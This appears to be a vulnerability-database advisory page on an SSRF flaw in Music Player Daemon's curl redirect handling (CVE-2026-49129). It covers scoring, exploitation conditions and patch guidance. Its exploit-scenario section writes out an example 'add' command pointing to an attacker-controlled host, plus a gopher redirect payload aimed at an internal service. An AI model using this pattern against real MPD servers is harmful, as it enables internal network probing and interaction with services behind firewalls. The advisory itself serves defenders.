Skip to main content

Music Player Daemon EUVDEUVD-2026-33005

| CVE-2026-49129 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-28 VulnCheck GHSA-5c2h-g7wx-c499
6.9
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach MPD command port (TCP 6600)
  2. Delivery
    Submit URL-accepting command (add/load/readpicture) with attacker-controlled HTTP URL
  3. Exploit
    Attacker HTTP server returns redirect to non-HTTP protocol (gopher/ldap/ftp)
  4. Execution
    MPD libcurl follows redirect without protocol restriction
  5. Impact
    Interact with or enumerate internal network service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two hard technical prerequisites must both be met: (1) the target system must be running libcurl < 7.85.0 - systems with libcurl >= 7.85.0 restrict redirect protocols by default and are not exploitable even on unpatched MPD versions; (2) the attacker must have access to MPD's command interface (TCP 6600 or configured Unix socket) to issue URL-accepting commands (add, readcomments, albumart, readpicture, or load). CVSS PR:N confirms no MPD-level authentication is required once the command port is reachable. The attacker must also control or compromise an intermediate HTTP server capable of serving protocol-switching redirects. Exploitation is limited by MPD's typical deployment as a local media daemon bound to localhost, which requires the attacker to already have local network access or a means to reach the command port. Non-default external binding of the command socket significantly elevates real-world risk.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N places this in the unauthenticated, low-complexity, no-prerequisites category - the highest possible exploitability rating. However, the impact metrics temper this: VC:N/VI:N/VA:N (no direct impact on the vulnerable component itself) and SC:L/SI:N/SA:N (only low subsequent-system confidentiality impact) cap the overall score at 6.9. This scoring profile is consistent with a classic blind SSRF: the attacker cannot directly read MPD's memory or crash it, but can weaponize it as a pivot to probe internal services. EPSS data was not provided in the input and cannot be stated. The vulnerability is not listed in CISA KEV, and no POC code was referenced in the provided intelligence. Real-world risk is strongly tied to deployment context: MPD is typically a local media daemon (TCP 6600 bound to localhost), which significantly narrows the attack surface compared to a public-facing web service. Organizations exposing MPD to untrusted networks face materially higher risk. The dependency on libcurl < 7.85.0 also acts as a natural limiting factor, as modern Linux distributions shipping libcurl >= 7.85.0 are not exploitable regardless of MPD version.

Exploit ScenarioDerived

An attacker with network access to MPD's command port (TCP 6600) issues a command such as add http://attacker-controlled.example.com/redirect.m3u where the attacker's HTTP server responds with a 301 redirect to gopher://internal-db-server:6379/_PING (or an LDAP, FTP, or SMTP endpoint). MPD's libcurl follows the redirect without protocol restriction, causing MPD to transmit a crafted payload to the internal service on behalf of the attacker. This enables blind SSRF-based reconnaissance or interaction with internal services that are unreachable directly from the attacker's network.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 28, 2026

Server-side request forgery in Music Player Daemon (MPD) before 0.24.11 allows unauthenticated remote attackers to bypass HTTP/HTTPS scheme restrictions by exploiting the CurlInputPlugin's failure to set CURLOPT_REDIR_PROTOCOLS_STR alongside CURLOPT_FOLLOWLOCATION in libcurl. An attacker who can submit URLs to MPD via commands such as add, readcomments, albumart, readpicture, or load can cause MPD to follow redirects to non-HTTP protocols including gopher, ftp, sftp, ldap, dict, rtmp, and rtsp - enabling interaction with internal or restricted network services. No public exploit has been identified at time of analysis and this vulnerability is not listed in CISA KEV, though the CVSS 4.0 score of 6.9 with a fully unauthenticated network attack vector warrants prompt patching on any externally accessible MPD deployment.

RemediationAI

Upgrade MPD to version 0.24.11, the vendor-released patch confirmed at https://www.musicpd.org/news/2026/05/mpd-0-24-11-released/ and https://github.com/MusicPlayerDaemon/MPD/releases/tag/v0.24.11. Critically, MPD 0.24.11 also requires libcurl >= 7.85.0 at build time (enforced in meson.build); verify that the underlying libcurl on the target system meets this minimum before or alongside the MPD upgrade. If immediate patching is not possible, restrict access to MPD's command socket (default TCP 6600) to only trusted local or administrative hosts using firewall rules or network segmentation - this eliminates the ability for external or untrusted clients to submit malicious URLs. A second compensating control is to avoid exposing MPD to URLs from untrusted sources at the application level (e.g., disable playlist loading from external sources). Note that restricting the command port may impact legitimate remote control clients; weigh this trade-off against exposure risk.

Affected VersionsENISA

MPD 0 <0.24.11

Affected Packages

euvd mpd fix: 0.24.11

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MPD's CurlInputPlugin uses libcurl's CURLOPT_FOLLOWLOCATION option to transparently follow HTTP redirects when fetching remote media or metadata. The vulnerability arises because CURLOPT_REDIR_PROTOCOLS_STR - introduced in libcurl 7.85.0 and designed specifically to whitelist permitted redirect target protocols - was not set. In libcurl versions prior to 7.85.0, the legacy behavior permits redirects to any supported protocol, including non-HTTP schemes. CWE-918 (Server-Side Request Forgery) captures this root cause: the server (MPD) performs network requests on behalf of user-supplied input without adequately restricting the scope of those requests. The affected CPE is cpe:2.3:a:musicplayerdaemon:mpd:*:*:*:*:*:*:*:* for all versions before 0.24.11. The commit diff at 78341dd6c7b101c3feede233d4cc4f8f1fcc4bb3 confirms the fix: the minimum required libcurl dependency was raised from 7.55 to 7.85 in meson.build, enforcing protocol restriction during redirects at build time.

Know when Mpd gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
SUSE 5.8 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
May 28, 2026 - 20:22 NVD
5.8 (MEDIUM) 6.9 (MEDIUM)
CVE Published
May 28, 2026 - 19:10 nvd
MEDIUM 6.9

DescriptionCVE.org

Music Player Daemon (MPD) before version 0.24.11 contains a server-side request forgery vulnerability in CurlInputPlugin where CURLOPT_FOLLOWLOCATION is set without CURLOPT_REDIR_PROTOCOLS_STR, allowing unauthenticated attackers to bypass the http/https scheme restriction by causing a malicious HTTP server to redirect to non-HTTP protocols such as gopher, ftp, sftp, ldap, dict, rtmp, or rtsp. Attackers can trigger this vulnerability via MPD commands that initiate URL fetches, including add, readcomments, albumart, readpicture, or load, to interact with internal or restricted network services on systems running libcurl versions prior to 7.85.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Data Quality
9 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Vendor StatusVendor

SUSE

Severity: Medium

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy